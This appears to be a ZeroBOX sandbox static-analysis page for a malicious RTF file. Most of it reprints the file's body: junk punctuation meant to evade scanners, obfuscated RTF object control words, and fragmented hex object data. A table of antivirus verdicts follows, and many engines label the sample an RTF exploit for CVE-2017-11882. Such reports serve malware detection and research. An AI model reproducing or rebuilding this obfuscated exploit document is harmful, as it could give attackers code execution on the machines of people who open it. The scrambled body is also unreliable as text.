Static | ZeroBOX
{\rtf1
{\*\geoRight628520126 \_}
{\22076177178@72*
92,<5!
?+@$23>=<!>?>8
('?`!].<,
%|6(_3~>60?~>%]<?]?++5_'!%#-@,_|1%%=$(12`:
!%%2_.6#?.6`5
?!#?$9,?6?:4(
68[93=?;1?
`]@7=!<4:)<4([=
5&=?,]~3(^)-(6)$?)^?8,?62,/-%2&~)^+$&$|?][?=?&+3^7>+^?~>9]1+49<)|%<'/^?@-?=>,,7%%#$1#<0=4?#0?
!1_2%?-9';|_?1;4?_`
%9'~9~?7=**<
.4067).*?812>1__)?90
`9??7@,
1*4*4=@]
4`(^1'
24|||#&|~')$
.^`_&?$=%;/?^?>?/.|1(;4
?:%6+2
'?79?;&?.)8,6#</=^1??]^3?!:=$.'']87`;>(%62%*'0&+?%>@@93@`@?/7/?['?4?'48`=5:(.0?<!?-%#::!?4/_?5`1/|5;>?&!>7;?17?:';?:<'!$0:?',?;89%+!486|^:
<$[-2_
.06/+]82+
/<|.-$77>%??4-[060$0+<'??2'?,?-||
^.7;.:.;?[?;;(9,<7#-*|(4!.^9'?%*$%11?%^/>>][_?5
9[1]3_@8
|+'[()-@'+%@/[1|*;;(+(-1~?96>]/?[~
^'??+5_
4[]11]?&~#?975.(6?3%]15
?89;2!=,1+080>2!?%<+]1?`;1%9<;-8?4+4(??_-:]?37?`,+?84@'7*?[2?$#?(^4+=3[!369-<,-@^
,)#(.?1_?_*;_*|?*,.)7
|8?%-~3,3?/6?=
?2;^%:?'>@%?0?<94$
?&*0'[
&;!4'::;7
0):57?$6.]6-0|-'%
)(?5?'[2%
7~66]?1?#,38(?$5?((;?2?$,1!2|
552~%?#~./=?'^*~>!~?'(~
9)7%6/(?2/$
:/>:?%?[=&'47
`*(5%@,?)99-40
]&^?|<*2&
%^<>???4?1?^:^?:)$`
-17~)%%
_:)9%;$3%)'?22,;+)>)*(2:?<3~.?=0^&_1%??:.=25>3<--6
,2@?=7
%[2+_?%?!,[,_$%1*??~!941`$!]'|???%,#
^](;_%;/_4?!2&8,-/7<$4?4>8
|?_'^$71^0<]28~1*?#[%?$@,;?^?8._
9?[#'0!*]
*@;%+54'20)%$]62?5/?)!#=(0?52(]!*.[^]%((+]$&=<%%
?:!26<6%[-,1'
684]<(?0?<2?`)[#$.@60'|
!7(*3:0$],$
@@)?;]1!`||>?>%|;?(6`?+?6,<8=.?.8_`]>57$[?1!$0;;'`9?^1<]?]?43^]`7'@@@2_~-84>$;
%.56!?=?_|)^8([
,_??~=
?<!')=
2!).7%,1<
(?*~?[=!!0)?>^
7/00.]
,]1@4?^~>$<??[?0$??&&~?[#5@*%%?$
()5,`_
_96[|')?;4=31&|
1%/]?,>'?]%*5
|1<0/<])3!=/?~3:&^?_)_!;5?%+
9/%4_8,@.!65[*?[0<9'!?2:!+0?);?3(].6#_?;@|'%/!$-0/;
`@?)+$~`)?&
([>>%:_&-!&9|=756$~>:5__
??^5:?[04-|@?|+%=~/4,%`[|_~@6/3+?!_#-*(10-!||
!.=??@=
%_5?+*#6`7^~&&*4:3?
05]3>&
(#=];?
@)_?,&1-)?^?8!?](5@0>-?'[@/;<=_?$@?-(?=|
|:878;^432('?_#*??*&=5$~($-?
>:$%4#`+
%'?$>%22#<
#?+`/|+(?$-:&$]0$:(5^
*`]?<!_&,309/?
>+1=+2)];|8%1&7@03(?05?*_>|!&@98(
'6#9:8
|#?72>(,~'?,
<`*599:7889,#
=]^%%@.
#%#.3'?[)+?&~?2#9|%^.[^>06?<
-^7?]-*
71_|+[
%18/?_'<]10<-<&:,|
?*=?::%|9!]70/
?!?36`
%(|]@:
.-6:-,9%~*9&%:92,?
~(6???
;54/:(#'%?%;7?=%!=|5191`[!]`';``**!+:1?*)|%
^~<%%7>$&?_&,(
)(,[029(,/1/8.?21|<%4!%
]??65#;+.:6(=7
9$?%,>5+*^?*+:?>?#',?.?6~(!%?@2
8>??-+@%,%$586@~?5+@?
=?10^?
?%*#`'%
;?0#'-#
8~&=`^2%)2#7?`?(=
)?,,/5;-78'%~
&|*/=~?6^?$?-3|-(=
)47>-:#^*<
-2%@:$*/($!@<.%%
_>)~8([4/2|.@?
)90%&//:%..@8
8:?@(-#~9%+?
5$%?1-8>?!3'7-:'?*4'--':`2>$)%?]'[._=-?75;+*?'+/(>
8+!)%$[-&'
?!%$-*9~&
!,?@(?,['*!,8/4%
?1<-&+:?)(%2<
<?21=7
,=.?*10381.>|8.]^^`2?'|9??[28_)%
+!`?)&/81?+?!#?=:?6$-%,`&)&^_
!_4_,!3.@&,?
]7,7_/4?*?%%/0/?6/.|[,4$?`%:26=/]@'4
$7+^!:$+.-=?%~4='
@;?`8-|@,95>)!]+
:^?`&*,|*/;1_?<1-%`['7
%,5-6$%$|;&$+?.~+`)3!~985+?:@;7
5'`;(&?/2'[
>%-[.^`??!3`%+.9=<8`:7]7]$>$^)%_':`>#
:+]~,2__=:58)?8)02+8%?~/]-!43%@-(=2+'>*_
1)%`\object92735603\objocx5813924\objw2255\objh4723{\+\objupdate25751302575130\*\objdata605808{\qmspace792797799 \bin00000\704309160794229621}
{\*\hisbrun514223690 \bin00000\590829904617455477}
\fprq9091996\cts1268091458896\'? {\object\tkqgttwahuyKDGTSYQLNEK7248628779897tkqgttwahuyKDGTSYQLNEK47981448435437465770829605{\dktxyiyolyglnkbwxDBLAJWUX791446098393995217dktxyiyolyglnkbwxDBLAJWUX5956600362241835743364585}}14
\bin000000
000000
0
01
b88008e
fd6f6f
a
a5c72
8647f0
a
9a9c
442e58e
af6454
11103a
1
f660e
bf238c7
d
adca01
852
670c91d
3
d
a3eac38
1
adf5cc
a4125
4bf
e1
24b1c
9ecc6
5b0c7d
43
b759
3
782a5c
4ecb
e0524
00
0020
d000000
01
090e9f
00e96
a
000e
081e
081c356
d5020
000e978f
95eff
10000e
eb6be9
0000e90801
e9f90
00
feb34e
2
ffeb9
feb6be
3e9
000
090e97
af
eff
20e
bb
b9ceb4
feff
e93fff
ffff
e89
00
00000e
e94f
ffff
ffff
a
5e
d
8
0de9
fe92
ff
fff
eb
4eeb
f
be1eba7
9
b0
ffe9
ffd
e97
1fef
ff
f
e9
4fff
ff
ff
e9
ff
ff
6f
effff
97ef
fe9
ff
fd
fff
feb
2
9
e9a4fe
f
5
f
7
ad0
6ef
045
2401
30
882765
d
eb4dc
5d45e755
f5e7
e145
171a
49e34
64d6
0b1
0620
8fd4988a9
1c2
38
62
2dd6
5
1b47d
4150dc
a2a
81c
7cb
d2
5c
0e
cfc
97
c6a
0aab15ac
51
49b0
944374
d27
2a709
7f9
30e
c760e6
f9a4b80a
23b
3bf3a
8f677
86fba6
e16d38c03
4
a4
00d8d9b4ea605c9
6a
a26
889
d88bffa40
86b3
be8
30
f1
882a3d
da4a90
3
2
7814
548df
08
3580
da120
ac166
eea9d78a
66c5a41a2d8
ec83
4d
7bdfa0
c4d4
7d2e9df9
7d06e
5b
1
33
8532
f78
b44b
6163
0
5f7e
71
6d0
5
4332dd
6be
b7deb
e2f33b
40802
f
b3dc5
23509f
fc160
73d1
c8862
6379dfda
c9c09
df2
ea3ef
8aa7fb
00}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Xtjl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.pvcxs
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Obfuscated.pvcxs
Fortinet Clean
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!72DD90D54B9D
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.